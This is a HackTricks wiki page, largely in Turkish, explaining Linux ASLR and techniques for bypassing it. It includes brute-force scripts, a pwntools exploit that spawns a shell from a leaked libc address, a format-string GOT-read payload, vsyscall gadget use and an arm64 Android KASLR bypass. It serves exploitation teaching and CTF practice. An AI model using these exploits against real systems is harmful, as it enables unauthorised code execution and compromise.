ASLR

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgi

Address Space Layout Randomization (ASLR), işletim sistemlerinde sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini rastgeleleştirmek için kullanılan bir güvenlik tekniğidir. Bu sayede stack, heap ve kütüphaneler gibi belirli süreçlerin ve verilerin konumunu bir saldırganın tahmin etmesi önemli ölçüde zorlaşır ve özellikle buffer overflows türü bazı exploitlere karşı etkili olur.

ASLR Durumunu Kontrol Etme

Bir Linux sisteminde ASLR durumunu kontrol etmek için /proc/sys/kernel/randomize_va_space dosyasındaki değeri okuyabilirsiniz. Bu dosyada saklanan değer uygulanan ASLR türünü belirler:

  • 0: Rastgeleleştirme yok. Her şey statik.
  • 1: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, stack, mmap(), VDSO page rastgeleleştirilir.
  • 2: Tam rastgeleleştirme. Muhafazakar rastgeleleştirmenin rastgeleleştirdiği öğelere ek olarak, brk() ile yönetilen bellek de rastgeleleştirilir.

ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz:

cat /proc/sys/kernel/randomize_va_space

ASLR’yi Devre Dışı Bırakma

ASLR’yi devre dışı bırakmak için /proc/sys/kernel/randomize_va_space değerini 0 olarak ayarlayın. ASLR’yi devre dışı bırakmak genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte bunu nasıl devre dışı bırakabileceğiniz:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Ayrıca bir çalıştırma için ASLR’yi şu şekilde devre dışı bırakabilirsiniz:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR’yi Etkinleştirme

ASLR’yi etkinleştirmek için /proc/sys/kernel/randomize_va_space dosyasına 2 değerini yazabilirsiniz. Bu genellikle root privileges gerektirir. Tam rastgeleleştirmeyi etkinleştirmek aşağıdaki komutla yapılabilir:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Yeniden Başlatmalar Arasında Kalıcılık

echo komutlarıyla yapılan değişiklikler geçicidir ve yeniden başlatma sırasında sıfırlanır. Değişikliği kalıcı hale getirmek için /etc/sysctl.conf dosyasını düzenlemeli ve aşağıdaki satırı eklemeli veya değiştirmelisiniz:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

/etc/sysctl.conf dosyasını düzenledikten sonra değişiklikleri şu komutla uygulayın:

sudo sysctl -p

Bu, ASLR ayarlarınızın yeniden başlatmalarda korunmasını sağlar.

Bypasses

32bit brute-forcing

PaX, süreç adres alanını 3 gruba ayırır:

  • Kod ve veri (initialized and uninitialized): .text, .data, and .bss —> delta_exec değişkeninde 16 bits entropi. Bu değişken her süreçte rastgele başlatılır ve başlangıç adreslerine eklenir.
  • mmap() tarafından ayrılan Memory ve shared libraries —> 16 bits, adı delta_mmap.
  • The stack —> 24 bits, delta_stack olarak adlandırılır. Ancak, aslında 11 bits kullanır (10th to the 20th byte inclusive), 16 bytes hizalıdır —> Bu, 524,288 possible real stack addresses ile sonuçlanır.

Önceki veriler 32-bit sistemler içindir ve azalmış nihai entropi, exploit başarılı olana kadar yürütmeyi tekrar tekrar deneyerek ASLR’yi atlatmayı mümkün kılar.

Brute-force ideas:

  • Eğer shellcode’dan önce büyük bir NOP sled barındıracak kadar büyük bir overflow’a sahipseniz, stack üzerindeki adresleri brute-force ederek akış NOP sled’in bir kısmını atlayana kadar deneyebilirsiniz.
  • Overflow o kadar büyük değilse ve exploit yerel olarak çalıştırılabiliyorsa, NOP sled ve shellcode’u bir ortam değişkenine eklemek bir diğer seçenektir.
  • Exploit yerelse, libc’nin temel adresini brute-force etmeyi deneyebilirsiniz (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Eğer uzaktaki bir server’a saldırıyorsanız, brute-force the address of the libc function usleep, argüman olarak 10 (örneğin) verip deneyebilirsiniz. Eğer bir noktada server takes 10s extra to respond ise, bu fonksiyonun adresini buldunuz.

Tip

64bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır.

64 bits stack brute-forcing

Stack’ın büyük bir kısmını env variables ile doldurmak ve sonra binary’yi yerel olarak yüzler/binlerce kez kötüye kullanarak exploit etmek mümkündür.
Aşağıdaki kod, sadece stack’te bir address seçmenin ve her birkaç yüz çalıştırmada o adresin NOP instruction içereceğinin nasıl mümkün olduğunu gösterir:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP tespiti ```python import subprocess import traceback

Start the process

nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops

Define the environment variables you want to set

env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }

cont = 0 while True: cont += 1

if cont % 10000 == 0: break

print(cont, end=“\r”)

Define the path to your binary

binary_path = ‘./aslr-testing’

try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass

</details>

<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>

### Yerel Bilgi (`/proc/[pid]/stat`)

Bir sürecin **`/proc/[pid]/stat`** dosyası herkes tarafından okunabilir ve aşağıdaki gibi **ilginç** bilgiler içerir:

- **startcode** & **endcode**: ikili dosyanın **TEXT** bölümünün üstündeki ve altındaki adresler
- **startstack**: **stack**'in başlangıç adresi
- **start_data** & **end_data**: **BSS**'in bulunduğu yerin üstündeki ve altındaki adresler
- **kstkesp** & **kstkeip**: geçerli **ESP** ve **EIP** adresleri
- **arg_start** & **arg_end**: **cli arguments**'ın bulunduğu yerin üstündeki ve altındaki adresler
- **env_start** &**env_end**: **env variables**'ın bulunduğu yerin üstündeki ve altındaki adresler

Dolayısıyla, eğer attacker aynı bilgisayardaysa ve bu binary raw arguments'tan gelen overflow'u beklemiyor fakat bu dosyayı okuduktan sonra hazırlanabilecek farklı bir input'tan geliyorsa, attacker bu dosyadan bazı adresleri alıp bunlardan exploit için offset'ler oluşturabilir.

> [!TIP]
> Bu dosya hakkında daha fazla bilgi için şu sayfaya bakın: [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) (arama: `/proc/pid/stat`)

### Leak sahibi olmak

- **Challenge size bir leak veriyor**

Eğer size bir leak verilmişse (easy CTF challenges), ondan offset'leri hesaplayabilirsiniz (örneğin exploiting yaptığınız sistemde kullanılan exact libc versiyonunu bildiğinizi varsayarsak). Bu örnek exploit şu kaynaktan alınmıştır: [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (daha fazla detay için o sayfaya bakın):

<details>
<summary>Python exploit — verilen libc leak ile</summary>
```python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Bir buffer overflow’ı kötüye kullanarak bir ret2plt istismar ederek libc’den bir fonksiyonun adresini exfiltrate etmek mümkün olur. Bak:

Ret2plt

  • Format Strings Arbitrary Read

ret2plt’te olduğu gibi, bir format strings açığı aracılığıyla arbitrary read’e sahipseniz, GOT’tan bir libc function adresini exfiltrate etmek mümkündür. Aşağıdaki example is from here:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

You can find more info about Format Strings arbitrary read in:

Format Strings

Ret2ret & Ret2pop

ASLR’yi stack içindeki adresleri kötüye kullanarak atlatmayı deneyin:

Ret2ret & Reo2pop

vsyscall

The vsyscall mekanizması, bazı system calls’ın user space’te çalıştırılmasına izin vererek performansı artırmayı sağlar; bunlar esasen kernel’in parçası olsalar da. vsyscalls’un kritik avantajı fixed addresses’e sahip olmalarıdır; bu adresler ASLR (Address Space Layout Randomization)’nin kapsamına girmez. Bu sabit yapı, saldırganların adreslerini belirlemek ve exploit’te kullanmak için bir information leak vulnerability’ye ihtiyaç duymadığı anlamına gelir.
Ancak burada çok ilginç gadget’lar bulunmayacaktır (örneğin bir ret; eşdeğerini elde etmek mümkün olsa da)

(Aşağıdaki örnek ve kod bu writeup’tan alınmıştır)

Örneğin, bir saldırgan exploit içinde 0xffffffffff600800 adresini kullanabilir. Doğrudan bir ret talimatına atlamaya çalışmak, bir kaç gadget çalıştırıldıktan sonra kararsızlığa veya çöküşlere yol açabilirken, vsyscall bölümünün sağladığı bir syscall’un başlangıcına atlamak başarılı olabilir. Yürütmeyi bu vsyscall adresine yönlendiren bir ROP gadget’ı dikkatli şekilde yerleştirerek, saldırgan exploit’in bu kısmı için ASLR’yi atlamak zorunda kalmadan kod yürütmesi elde edebilir.

Örnek vmmap/vsyscall ve gadget lookup ```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```

vDSO

Bu yüzden, eğer kernel CONFIG_COMPAT_VDSO ile derlenmişse ve vdso adresi rastgeleleştirilmemişse, vdso’yu kötüye kullanarak ASLR’yi bypass etmenin mümkün olabileceğine dikkat edin. Daha fazla bilgi için bakın:

Ret2vDSO

KASLR on ARM64 (Android): bypass via fixed linear map

Çoğu arm64 Android kernelinde kernel linear map (direct map) tabanı önyüklemeler arasında sabittir. Fiziksel sayfalar için kernel VA’ları tahmin edilebilir hale gelir ve direct map üzerinden erişilebilen hedefler için KASLR’yi bozar.

  • For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
  • PAGE_OFFSET = 0xffffff8000000000
  • PHYS_OFFSET = memstart_addr (exported symbol)
  • Translation: virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)

Leaking PHYS_OFFSET (rooted or with a kernel read primitive)

  • grep memstart /proc/kallsyms to find memstart_addr
  • Read 8 bytes at that address (LE) using any kernel read (e.g., tracing-BPF helper calling BPF_FUNC_probe_read_kernel)
  • Compute direct-map VAs: virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)

Exploitation impact

  • No separate KASLR leak needed if the target is in/reachable via the direct map (e.g., page tables, kernel objects on physical pages you can influence/observe).
  • Simplifies reliable arbitrary R/W and targeting of kernel data on arm64 Android.

Reproduction summary

  1. grep memstart /proc/kallsyms -> memstart_addr adresi
  2. Kernel read -> 8 byte’ı LE olarak decode et -> PHYS_OFFSET
  3. Use virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET) with PAGE_OFFSET=0xffffff8000000000

Note

Access to tracing-BPF helpers requires sufficient privileges; any kernel read primitive or info leak suffices to obtain PHYS_OFFSET.

How it’s fixed

  • Limited kernel VA space plus CONFIG_MEMORY_HOTPLUG reserves VA for future hotplug, pushing the linear map to the lowest VA (fixed base).
  • Upstream arm64 removed linear-map randomization (commit 1db780bafa4c).

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin